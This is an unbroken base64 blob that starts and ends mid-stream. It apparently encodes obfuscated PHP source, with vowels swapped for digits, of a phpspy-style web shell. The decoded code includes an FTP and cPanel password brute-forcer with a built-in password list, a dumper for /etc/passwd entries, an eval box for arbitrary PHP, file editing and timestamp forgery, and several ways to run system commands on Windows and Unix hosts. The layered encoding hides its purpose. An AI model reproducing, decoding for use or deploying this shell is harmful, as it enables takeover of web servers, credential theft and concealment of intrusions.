IzciBQMnJ0OicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9Pid5MjNycDJydCcsJ3M0ejUnPT42aSwndjFsMzUnPT4keTIzcnAycnQpKTsNCglwKCdVczU6Jyk7DQoJbTFrNXM1bDVjdCgxcnIxeSgnbjFtNSc9PiczczUnLCcycHQ0Mm4nPT4kM3M1ZGIsJ3M1bDVjdDVkJz0+JDNzNSkpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidzdDFydCcsJ3YxbDM1Jz0+J1N0MXJ0JywndHlwNSc9PidzM2JtNHQnLCdjbDFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZjJybWYyMnQoKTsNCn0vLzVuZCBiMWNrYzJubjVjdCB3NG5kMncgdjQxIE5DDQoNCi8vIEJyM3Q1DQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ2JyM3Q1Jykgew0KZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J0JyM3Q1IEYycmM1cicpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnYnIzdDUnKTsNCgltMWs1aDRkNSgnZDRyJywkYnIzdDUpOw0KQDRuNF9zNXQoJ201bTJyeV9sNG00dCcsIDYwMDAwMDAwMDAwMDApOw0KJGMybm41Y3RfdDRtNTIzdD1pOw0KQHM1dF90NG01X2w0bTR0KDApOw0KJHMzYm00dCA9ICRfUkVRVUVTVFsnczNibTR0J107DQokM3M1cnMgPSAkX1JFUVVFU1RbJzNzNXJzJ107DQokcDFzcyA9ICRfUkVRVUVTVFsncDFzc3cycmRzJ107DQokdDFyZzV0ID0gJF9SRVFVRVNUWyd0MXJnNXQnXTsNCiQycHQ0Mm4gPSAkX1JFUVVFU1RbJzJwdDQybiddOw0KDQoNCiRwMXNzbDRzdCA9ICIwNmFvdWllDQowNmFvdWllNw0KMDZhb3VpZTc4DQowNmFvdWllNzg5DQowNmFvdWllNzg5MA0KNmFvdWllDQo2YW91aWU3DQo2YW91aWU3OA0KNmFvdWllNzg5DQo2YW91aWU3ODkwDQo2NjY2NjYNCjAwMDAwMA0KYWFhYWFhDQpvb29vb28NCnV1dXV1dQ0KaWlpaWlpDQplZWVlZWUNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjZhbzZhbw0KdWlldWllDQo3ODk3ODkNCjZhb29hNg0KdWllZWl1DQplaXVvYTYNCjdlaXVvYTYNCjg3ZWl1b2E2DQo5ODdlaXVvYTYNCjA5ODdlaXVvYTYNCjFkbTRuDQoxZG00bjRzdHIxdDJyDQoxZG00bmNwDQpjcDFuNWwNCjFkbTRueA0KMWRtNG5zDQpwMXNzdzJyZA0KcDFzc3cycmRzDQpwMXNzdzByZA0KcEBzc3cwcmQNCnBAc3N3MnJkDQpraDJuZ2MyDQphaWFpNm9haQ0KcDFzc3cwcmRzIjsNCjRmKCR0MXJnNXQgPT0gJycpew0KJHQxcmc1dCA9ICdsMmMxbGgyc3QnOw0KfQ0KcHI0bnQgIiA8ZDR2IDFsNGduPSdjNW50NXInPg0KDQo8ZjJybSBtNXRoMmQ9J3Ayc3QnIHN0eWw1PSdiMnJkNXI6IDZweCBzMmw0ZCAjMDAwMDAwJz48YnI+PGJyPg0KPFRBQkxFIHN0eWw1PSdCT1JERVItQ09MTEFQU0U6IGMybGwxcHM1JyBjNWxsU3AxYzRuZz0wIGIycmQ1ckMybDJyRDFyaz0jOWVlNjY3IGM1bGxQMWRkNG5nPWkgdzRkdGg9J3UwJScgYmdDMmwycj0jbzBvMG8wIGIycmQ1ckMybDJyTDRnaHQ9IzllZTY2NyBiMnJkNXI9Nj48dHI+PHRkPg0KPGI+IFQxcmc1dCAgOiA8L2YybnQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3Qxcmc1dCcgczR6NT0nNmUnIHYxbDM1PSAkdDFyZzV0IHN0eWw1PSdiMnJkNXI6IGYybnQtZjFtNGx5OnQxaDJtMTsgZjJudC13NTRnaHQ6YjJsZDsnPjwvcD48L2YybnQ+PC9iPjwvcD4NCjxkNHYgMWw0Z249J2M1bnQ1cic+PGJyPg0KPFRBQkxFIHN0eWw1PSdCT1JERVItQ09MTEFQU0U6IGMybGwxcHM1JyBjNWxsU3AxYzRuZz0wIGIycmQ1ckMybDJyRDFyaz0jOWVlNjY3IGM1bGxQMWRkNG5nPWkgdzRkdGg9J2kwJScgYmdDMmwycj0jbzBvMG8wIGIycmQ1ckMybDJyTDRnaHQ9IzllZTY2NyBiMnJkNXI9Nj4NCjx0cj4NCjx0ZCAxbDRnbj0nYzVudDVyJz4NCjxiPlVzNXJuMW01PC9iPjwvdGQ+DQo8dGQ+DQo8cCAxbDRnbj0nYzVudDVyJz4NCjxiPlAxc3N3MnJkPC9iPjwvdGQ+DQo8L3RyPg0KPC90MWJsNT4NCg0KPHAgMWw0Z249J2M1bnQ1cic+DQo8dDV4dDFyNTEgcjJ3cz0nYTAnIG4xbTU9JzNzNXJzJyBjMmxzPSdhaScgc3R5bDU9J2IycmQ1cjogYXB4IHMybDRkICM2RDZENkQ7IGIxY2tncjIzbmQtYzJsMnI6ICMwMDAwMDA7IGMybDJyOiNDMEMwQzAnPiI7DQokNCA9IDA7DQp3aDRsNSAoJDQgPCBlMDAwMCkgew0KDQogICAgJGw0bjUgPSBwMnM0eF9nNXRwdzM0ZCgkNCk7DQogICAgNGYgKCE1bXB0eSgkbDRuNSkpIHsNCg0KICAgICAgICB3aDRsNSAobDRzdCAoJGs1eSwgJHZiMV81dGNwd2QpID0gNTFjaCgkbDRuNSkpew0KICAgICAgICAgICAgNWNoMiAiIi4kdmIxXzV0Y3B3ZC4iXG4iOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgJDQrKzsNCn0NCjVjaDIgIg0KPC90NXh0MXI1MT4NCjx0NXh0MXI1MSByMndzPSdhMCcgbjFtNT0ncDFzc3cycmRzJyBjMmxzPSdhaScgc3R5bDU9J2IycmQ1cjogYXB4IHMybDRkICM2RDZENkQ7IGIxY2tncjIzbmQtYzJsMnI6ICMwMDAwMDA7IGMybDJyOiNDMEMwQzAnPiRwMXNzbDRzdDwvdDV4dDFyNTE+PGJyPg0KPGJyPg0KPGI+T3B0NDJucyA6IDwvc3Axbj48NG5wM3QgbjFtNT0nMnB0NDJuJyB2MWwzNT0nY3AxbjVsJyBzdHlsNT0nZjJudC13NTRnaHQ6IDcwMDsnIGNoNWNrNWQgdHlwNT0ncjFkNDInPiBjUDFuNWwNCjw0bnAzdCBuMW01PScycHQ0Mm4nIHYxbDM1PSdmdHAnIHN0eWw1PSdmMm50LXc1NGdodDogNzAwOycgdHlwNT0ncjFkNDInPiBmdHAgPT0+IDw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSdBdHQxY2snIG4xbTU9J3MzYm00dCcgPjwvcD4NCjwvdGQ+PC90cj48L3QxYmw1PjwvdGQ+PC90cj48L2Yycm0+PHAgMWw0Z249ICdsNWZ0Jz4iOw0KPz4NCjw/cGhwDQpmM25jdDQybiBmdHBfY2g1Y2soJGgyc3QsJDNzNXIsJHAxc3MsJHQ0bTUyM3Qpew0KJGNoID0gYzNybF80bjR0KCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVJMLCAiZnRwOi8vJGgyc3QiKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgNik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCmMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgNik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiQzczVyOiRwMXNzIik7DQpjM3JsX3M1dDJwdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdDRtNTIzdCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDYpOw0KJGQxdDEgPSBjM3JsXzV4NWMoJGNoKTsNCjRmICggYzNybF81cnJuMigkY2gpID09IGE4ICkgew0KDQpwcjRudCAiPGI+IEVycjJyIDogQzJubjVjdDQybiB0NG01ZCAyM3QgLCBtMWs1IGMybmY0ZDVuYzUgMWIyM3QgdjFsNGQxdDQybiAyZiB0MXJnNXQgITwvYj4iOw0KNXg0dDt9DQoNCjVsczU0ZiAoIGMzcmxfNXJybjIoJGNoKSA9PSAwICl7DQoNCnAoIjxiPlsgMXR0MWNrQHZiMXQ1MW0ubjV0IF0jIDwvYj4NCg0KPGI+IEF0dDFjazRuZyBoMXMgYjU1biBkMm41ISBVczVybjFtNTogPGYybnQgYzJsMnI9JyNGRjAwMDAnPiAkM3M1ciA8L2YybnQ+IC8gUDFzc3cycmQ6PGYybnQgYzJsMnI9JyNGRjAwMDAnPiAkcDFzcyA8L2YybnQ+ID0+IDwxIGhyNWY9aHR0cDovLyQzczVyOiRwMXNzQCRoMnN0OmEwOGEgdDFyZzV0PV9ibDFuaz5MMmc0bjwvMT48L2I+PGJyPiIpOw0KfQ0KYzNybF9jbDJzNSgkY2gpO30NCg0KZjNuY3Q0Mm4gY3AxbjVsX2NoNWNrKCRoMnN0LCQzczVyLCRwMXNzLCR0NG01MjN0KXsNCiRjaCA9IGMzcmxfNG40dCgpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaDJzdDphMDhhIik7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDYpOw0KYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiQzczVyOiRwMXNzIik7DQpjM3JsX3M1dDJwdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdDRtNTIzdCk7DQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDYpOw0KJGQxdDEgPSBjM3JsXzV4NWMoJGNoKTsNCjRmICggYzNybF81cnJuMigkY2gpID09IGE4ICkgew0KcHI0bnQgIjxiPiBFcnIyciA6IEMybm41Y3Q0Mm4gdDRtNWQgMjN0ICwgbTFrNSBjMm5mNGQ1bmM1IDFiMjN0IHYxbDRkMXQ0Mm4gMmYgdDFyZzV0ICE8L2I+IjsNCjV4NHQ7fQ0KNWxzNTRmICggYzNybF81cnJuMigkY2gpID09IDAgKXsNCg0KcCgiPGI+WyAxdHQxY2tAdmIxdDUxbS5uNXQgXSMgPC9iPjxiPkF0dDFjazRuZyBoMXMgYjU1biBkMm41ITwvMT4gVXM1cm4xbTU6IDxmMm50IGMybDJyPScjRkYwMDAwJz4gJDNzNXIgPC9mMm50PiAvIFAxc3N3MnJkOjxmMm50IGMybDJyPScjRkYwMDAwJz4gJHAxc3MgPC9mMm50PjwvYj48YnI+Iik7fWMzcmxfY2wyczUoJGNoKTt9DQoNCjRmKDRzczV0KCRzM2JtNHQpICYmICE1bXB0eSgkczNibTR0KSl7DQoNCiQzczVybDRzdCA9IDV4cGwyZDUgKCJcbiIgLCAkM3M1cnMgKTsNCiRwMXNzbDRzdCA9IDV4cGwyZDUgKCJcbiIgLCAkcDFzcyApOw0KcCgnPGI+WyAxdHQxY2tAdmIxdDUxbS5uNXQgXSMgQXR0MWNrNG5nIC4uLjwvZjJudD48L2I+PGJyPicpOw0KZjJyNTFjaCAoJDNzNXJsNHN0IDFzICQzczVyKSB7DQokXzNzNXIgPSB0cjRtKCQzczVyKTsNCmYycjUxY2ggKCRwMXNzbDRzdCAxcyAkcDFzc3cycmQgKSB7DQokX3Axc3MgPSB0cjRtKCRwMXNzdzJyZCk7DQo0ZigkMnB0NDJuID09ICJmdHAiKXsNCmZ0cF9jaDVjaygkdDFyZzV0LCRfM3M1ciwkX3Axc3MsJGMybm41Y3RfdDRtNTIzdCk7DQp9DQo0ZiAoJDJwdDQybiA9PSAiY3AxbjVsIikNCnsNCmNwMW41bF9jaDVjaygkdDFyZzV0LCRfM3M1ciwkX3Axc3MsJGMybm41Y3RfdDRtNTIzdCk7DQp9DQp9DQp9DQp9DQoNCglmMnJtZjIydCgpOw0KfQ0KDQoNCg0KDQoNCg0KNWxzNTRmICgkMWN0NDJuID09ICc1dGNwd2QnKSB7DQpmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nRzV0IC81dGMvcDFzc3dkJykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCc1dGNwd2QnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQokNCA9IDA7DQogNWNoMiAiPHA+PGJyPjx0NXh0MXI1MSBjbDFzcz1cIjFyNTFcIiA0ZD1cInBocGMyZDV4eHhcIiBuMW01PVwicGhwYzJkNXh4eFwiIGMybHM9XCI2MDBcIiByMndzPVwiYWlcIj4iOw0Kd2g0bDUgKCQ0IDwgZTAwMDApIHsNCg0KICAgICRsNG41ID0gcDJzNHhfZzV0cHczNGQoJDQpOw0KICAgIDRmICghNW1wdHkoJGw0bjUpKSB7DQoNCiAgICAgICAgd2g0bDUgKGw0c3QgKCRrNXksICR2YjFfNXRjcHdkKSA9IDUxY2goJGw0bjUpKXsNCiAgICAgICAgICAgIDVjaDIgIiIuJHZiMV81dGNwd2QuIlxuIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICQ0Kys7DQp9DQogIDVjaDIgIjwvdDV4dDFyNTE+PC9wPiI7DQoJZjJybWYyMnQoKTsNCn0NCg0KNWxzNTRmICgkMWN0NDJuID09ICc1djFsJykgew0KCSRwaHBjMmQ1ID0gdHI0bSgkcGhwYzJkNSk7DQoJNGYoJHBocGMyZDUpew0KCQk0ZiAoIXByNWdfbTF0Y2goJyM8XD8jczQnLCAkcGhwYzJkNSkpIHsNCgkJCSRwaHBjMmQ1ID0gIjw/cGhwXG5cbnskcGhwYzJkNX1cblxuPz4iOw0KCQl9DQoJCTV2MWwoIj8iLiI+JHBocGMyZDU8PyIpOw0KCX0NCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nRXYxbCBQSFAgQzJkNScpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnNXYxbCcpOw0KCW0xazV0NXh0KDFycjF5KCd0NHRsNSc9PidQSFAgQzJkNScsJ24xbTUnPT4ncGhwYzJkNScsICd2MWwzNSc9PiRwaHBjMmQ1KSk7DQoJcCgnPHA+PDEgaHI1Zj0iaHR0cDovL3d3dy51bmc1bC5uNXQvcGhwc3B5L3BsM2c0bi8iIHQxcmc1dD0iX2JsMW5rIj5HNXQgcGwzZzRuczwvMT48L3A+Jyk7DQoJZjJybWYyMnQ1cigpOw0KfS8vNW5kIDV2MWwNCg0KNWxzNTRmICgkMWN0NDJuID09ICc1ZDR0ZjRsNScpIHsNCgk0ZihmNGw1XzV4NHN0cygkMnBmNGw1KSkgew0KCQkkZnA9QGYycDVuKCQycGY0bDUsJ3InKTsNCgkJJGMybnQ1bnRzPUBmcjUxZCgkZnAsIGY0bDVzNHo1KCQycGY0bDUpKTsNCgkJQGZjbDJzNSgkZnApOw0KCQkkYzJudDVudHM9aHRtbHNwNWM0MWxjaDFycygkYzJudDVudHMpOw0KCX0NCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nQ3I1MXQ1IC8gRWQ0dCBGNGw1JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nQzNycjVudCBGNGw1ICg0bXAycnQgbjV3IGY0bDUgbjFtNSAxbmQgbjV3IGY0bDUpJywnbjFtNSc9Pic1ZDR0ZjRsNW4xbTUnLCd2MWwzNSc9PiQycGY0bDUsJ241d2w0bjUnPT42KSk7DQoJbTFrNXQ1eHQoMXJyMXkoJ3Q0dGw1Jz0+J0Y0bDUgQzJudDVudCcsJ24xbTUnPT4nZjRsNWMybnQ1bnQnLCd2MWwzNSc9PiRjMm50NW50cykpOw0KCWYycm1mMjJ0NXIoKTsNCn0vLzVuZCA1ZDR0ZjRsNQ0KDQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ241d3Q0bTUnKSB7DQoJJDJwZjRsNW10NG01ID0gQGY0bDVtdDRtNSgkMnBmNGw1KTsNCgkvLyR0NG01ID0gc3RydDJ0NG01KCIkeTUxci0kbTJudGgtJGQxeSAkaDIzcjokbTRuM3Q1OiRzNWMybmQiKTsNCgkkYzFjaDVtMm50aCA9IDFycjF5KCdKMW4zMXJ5Jz0+NiwnRjVicjMxcnknPT5hLCdNMXJjaCc9Pm8sJ0FwcjRsJz0+dSwnTTF5Jz0+aSwnSjNuNSc9PmUsJ0ozbHknPT43LCdBM2czc3QnPT44LCdTNXB0NW1iNXInPT45LCdPY3QyYjVyJz0+NjAsJ04ydjVtYjVyJz0+NjYsJ0Q1YzVtYjVyJz0+NmEpOw0KCWYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidDbDJuNSBmNGw1IHcxcyBsMXN0IG0yZDRmNDVkIHQ0bTUnKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ2Y0bDUnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQoJbTFrNTRucDN0KDFycjF5KCd0NHRsNSc9PidBbHQ1ciBmNGw1JywnbjFtNSc9PidjM3JmNGw1JywndjFsMzUnPT4kMnBmNGw1LCdzNHo1Jz0+NmEwLCduNXdsNG41Jz0+NikpOw0KCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nUjVmNXI1bmM1IGY0bDUgKGYzbGxwMXRoKScsJ24xbTUnPT4ndDFyZjRsNScsJ3M0ejUnPT42YTAsJ241d2w0bjUnPT42KSk7DQoJZjJybWYyMnQ1cigpOw0KCWYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidTNXQgbDFzdCBtMmQ0ZjQ1ZCcpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnZjRsNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCgltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J0MzcnI1bnQgZjRsNSAoZjNsbHAxdGgpJywnbjFtNSc9PidjM3JmNGw1JywndjFsMzUnPT4kMnBmNGw1LCdzNHo1Jz0+NmEwLCduNXdsNG41Jz0+NikpOw0KCXAoJzxwPkluc3Q1MWQgJnIxcTMyOycpOw0KCXAoJ3k1MXI6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J3k1MXInLCd2MWwzNSc9PmQxdDUoJ1knLCQycGY0bDVtdDRtNSksJ3M0ejUnPT51KSk7DQoJcCgnbTJudGg6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J20ybnRoJywndjFsMzUnPT5kMXQ1KCdtJywkMnBmNGw1bXQ0bTUpLCdzNHo1Jz0+YSkpOw0KCXAoJ2QxeTonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZDF5JywndjFsMzUnPT5kMXQ1KCdkJywkMnBmNGw1bXQ0bTUpLCdzNHo1Jz0+YSkpOw0KCXAoJ2gyM3I6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2gyM3InLCd2MWwzNSc9PmQxdDUoJ0gnLCQycGY0bDVtdDRtNSksJ3M0ejUnPT5hKSk7DQoJcCgnbTRuM3Q1OicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidtNG4zdDUnLCd2MWwzNSc9PmQxdDUoJzQnLCQycGY0bDVtdDRtNSksJ3M0ejUnPT5hKSk7DQoJcCgnczVjMm5kOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidzNWMybmQnLCd2MWwzNSc9PmQxdDUoJ3MnLCQycGY0bDVtdDRtNSksJ3M0ejUnPT5hKSk7DQoJcCgnPC9wPicpOw0KCWYycm1mMjJ0NXIoKTsNCn0vLzVuZCBuNXd0NG01DQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnc2g1bGwnKSB7DQoJNGYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJNGYoJHByMmdyMW0gJiYgJHAxcjFtNXQ1cikgew0KCQkJJHNoNWxsPSBuNXcgQ09NKCdTaDVsbC5BcHBsNGMxdDQybicpOw0KCQkJJDEgPSAkc2g1bGwtPlNoNWxsRXg1YzN0NSgkcHIyZ3IxbSwkcDFyMW01dDVyKTsNCgkJCW0oJ1ByMmdyMW0gcjNuIGgxcyAnLighJDEgPyAnczNjYzVzcycgOiAnZjE0bCcpKTsNCgkJfQ0KCQkhJHByMmdyMW0gJiYgJHByMmdyMW0gPSAnYzpcdzRuZDJ3c1xzeXN0NW1vYVxjbWQuNXg1JzsNCgkJISRwMXIxbTV0NXIgJiYgJHAxcjFtNXQ1ciA9ICcvYyBuNXQgc3QxcnQgPiAnLlNBX1JPT1QuJ2wyZy50eHQnOw0KCQlmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nRXg1YzN0NSBQcjJncjFtJykpOw0KCQltMWs1aDRkNSgnMWN0NDJuJywnc2g1bGwnKTsNCgkJbTFrNTRucDN0KDFycjF5KCd0NHRsNSc9PidQcjJncjFtJywnbjFtNSc9PidwcjJncjFtJywndjFsMzUnPT4kcHIyZ3IxbSwnbjV3bDRuNSc9PjYpKTsNCgkJcCgnPHA+Jyk7DQoJCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nUDFyMW01dDVyJywnbjFtNSc9PidwMXIxbTV0NXInLCd2MWwzNSc9PiRwMXIxbTV0NXIpKTsNCgkJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J3MzYm00dCcsJ2NsMXNzJz0+J2J0JywndHlwNSc9PidzM2JtNHQnLCd2MWwzNSc9PidFeDVjM3Q1JykpOw0KCQlwKCc8L3A+Jyk7DQoJCWYycm1mMjJ0KCk7DQoJfQ0KCWYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidFeDVjM3Q1IEMybW0xbmQnKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ3NoNWxsJyk7DQoJNGYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJJDV4NWNmM25jZGIgPSAxcnIxeSgncGhwZjNuYyc9PidwaHBmM25jJywnd3NjcjRwdCc9Pid3c2NyNHB0JywncHIyY18ycDVuJz0+J3ByMmNfMnA1bicpOw0KCQltMWs1czVsNWN0KDFycjF5KCd0NHRsNSc9PidVczU6JywnbjFtNSc9Pic1eDVjZjNuYycsJzJwdDQybic9PiQ1eDVjZjNuY2RiLCdzNWw1Y3Q1ZCc9PiQ1eDVjZjNuYywnbjV3bDRuNSc9PjYpKTsNCgl9DQoJcCgnPHA+Jyk7DQoJbTFrNTRucDN0KDFycjF5KCd0NHRsNSc9PidDMm1tMW5kJywnbjFtNSc9PidjMm1tMW5kJywndjFsMzUnPT4kYzJtbTFuZCkpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidzM2JtNHQnLCdjbDFzcyc9PididCcsJ3R5cDUnPT4nczNibTR0JywndjFsMzUnPT4nRXg1YzN0NScpKTsNCglwKCc8L3A+Jyk7DQoJZjJybWYyMnQoKTsNCg0KCTRmICgkYzJtbTFuZCkgew0KCQlwKCc8aHIgdzRkdGg9IjYwMCUiIG4yc2gxZDUgLz48cHI1PicpOw0KCQk0ZiAoJDV4NWNmM25jPT0nd3NjcjRwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KCQkJJHdzaCA9IG41dyBDT00oJ1dTY3I0cHQuc2g1bGwnKTsNCgkJCSQ1eDVjID0gJHdzaC0+NXg1YygnY21kLjV4NSAvYyAnLiRjMm1tMW5kKTsNCgkJCSRzdGQyM3QgPSAkNXg1Yy0+U3RkTzN0KCk7DQoJCQkkc3RyMjN0cDN0ID0gJHN0ZDIzdC0+UjUxZEFsbCgpOw0KCQkJNWNoMiAkc3RyMjN0cDN0Ow0KCQl9IDVsczU0ZiAoJDV4NWNmM25jPT0ncHIyY18ycDVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoJCQkkZDVzY3I0cHQycnNwNWMgPSAxcnIxeSgNCgkJCSAgIDAgPT4gMXJyMXkoJ3A0cDUnLCAncicpLA0KCQkJICAgNiA9PiAxcnIxeSgncDRwNScsICd3JyksDQoJCQkgICBhID0+IDFycjF5KCdwNHA1JywgJ3cnKQ0KCQkJKTsNCgkJCSRwcjJjNXNzID0gcHIyY18ycDVuKCRfU0VSVkVSWydDT01TUEVDJ10sICRkNXNjcjRwdDJyc3A1YywgJHA0cDVzKTsNCgkJCTRmICg0c19yNXMyM3JjNSgkcHIyYzVzcykpIHsNCgkJCQlmd3I0dDUoJHA0cDVzWzBdLCAkYzJtbTFuZC4iXHJcbiIpOw0KCQkJCWZ3cjR0NSgkcDRwNXNbMF0sICI1eDR0XHJcbiIpOw0KCQkJCWZjbDJzNSgkcDRwNXNbMF0pOw0KCQkJCXdoNGw1ICghZjUyZigkcDRwNXNbNl0pKSB7DQoJCQkJCTVjaDIgZmc1dHMoJHA0cDVzWzZdLCA2MGF1KTsNCgkJCQl9DQoJCQkJZmNsMnM1KCRwNHA1c1s2XSk7DQoJCQkJd2g0bDUgKCFmNTJmKCRwNHA1c1thXSkpIHsNCgkJCQkJNWNoMiBmZzV0cygkcDRwNXNbYV0sIDYwYXUpOw0KCQkJCX0NCgkJCQlmY2wyczUoJHA0cDVzW2FdKTsNCgkJCQlwcjJjX2NsMnM1KCRwcjJjNXNzKTsNCgkJCX0NCgkJfSA1bHM1IHsNCgkJCTVjaDIoNXg1YzN0NSgkYzJtbTFuZCkpOw0KCQl9DQoJCXAoJzwvcHI1PicpOw0KCX0NCn0vLzVuZCBzaDVsbA0KDQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ3BocDVudicpIHsNCgkkM3BzNHo1PWc1dGNmZygnZjRsNV8zcGwyMWRzJykgPyBnNXRjZmcoJzNwbDIxZF9tMXhfZjRsNXM0ejUnKSA6ICdOMnQgMWxsMnc1ZCc7DQoJJDFkbTRubTE0bD00c3M1dCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIDogZzV0Y2ZnKCdzNW5kbTE0bF9mcjJtJyk7DQoJISRkNHNfZjNuYyAmJiAkZDRzX2YzbmMgPSAnTjInOw0KCSQ0bmYyID0gMXJyMXkoDQoJCTYgPT4gMXJyMXkoJ1M1cnY1ciBUNG01JyxkMXQ1KCdZL20vZCBoOjQ6cycsJHQ0bTVzdDFtcCkpLA0KCQlhID0+IDFycjF5KCdTNXJ2NXIgRDJtMTRuJywkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSksDQoJCW8gPT4gMXJyMXkoJ1M1cnY1ciBJUCcsZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLA0KCQl1ID0+IDFycjF5KCdTNXJ2NXIgT1MnLFBIUF9PUyksDQoJCWkgPT4gMXJyMXkoJ1M1cnY1ciBPUyBDaDFyczV0JywkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksDQoJCWUgPT4gMXJyMXkoJ1M1cnY1ciBTMmZ0dzFyNScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwNCgkJNyA9PiAxcnIxeSgnUzVydjVyIFc1YiBQMnJ0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksDQoJCTggPT4gMXJyMXkoJ1BIUCByM24gbTJkNScsc3RydDIzcHA1cihwaHBfczFwNF9uMW01KCkpKSwNCgkJOSA9PiAxcnIxeSgnVGg1IGY0bDUgcDF0aCcsX19GSUxFX18pLA0KDQoJCTYwID0+IDFycjF5KCdQSFAgVjVyczQybicsUEhQX1ZFUlNJT04pLA0KCQk2NiA9PiAxcnIxeSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybihcJ3BocDRuZjJcJyk7Ij5ZNXM8LzE+JyA6ICdOMicpKSwNCgkJNmEgPT4gMXJyMXkoJ1MxZjUgTTJkNScsZzV0Y2ZnKCdzMWY1X20yZDUnKSksDQoJCTZvID0+IDFycjF5KCdBZG00bjRzdHIxdDJyJywkMWRtNG5tMTRsKSwNCgkJNnUgPT4gMXJyMXkoJzFsbDJ3XzNybF9mMnA1bicsZzV0Y2ZnKCcxbGwyd18zcmxfZjJwNW4nKSksDQoJCTZpID0+IDFycjF5KCc1bjFibDVfZGwnLGc1dGNmZygnNW4xYmw1X2RsJykpLA0KCQk2ZSA9PiAxcnIxeSgnZDRzcGwxeV81cnIycnMnLGc1dGNmZygnZDRzcGwxeV81cnIycnMnKSksDQoJCTY3ID0+IDFycjF5KCdyNWc0c3Q1cl9nbDJiMWxzJyxnNXRjZmcoJ3I1ZzRzdDVyX2dsMmIxbHMnKSksDQoJCTY4ID0+IDFycjF5KCdtMWc0Y19xMzJ0NXNfZ3BjJyxnNXRjZmcoJ20xZzRjX3EzMnQ1c19ncGMnKSksDQoJCTY5ID0+IDFycjF5KCdtNW0ycnlfbDRtNHQnLGc1dGNmZygnbTVtMnJ5X2w0bTR0JykpLA0KCQlhMCA9PiAxcnIxeSgncDJzdF9tMXh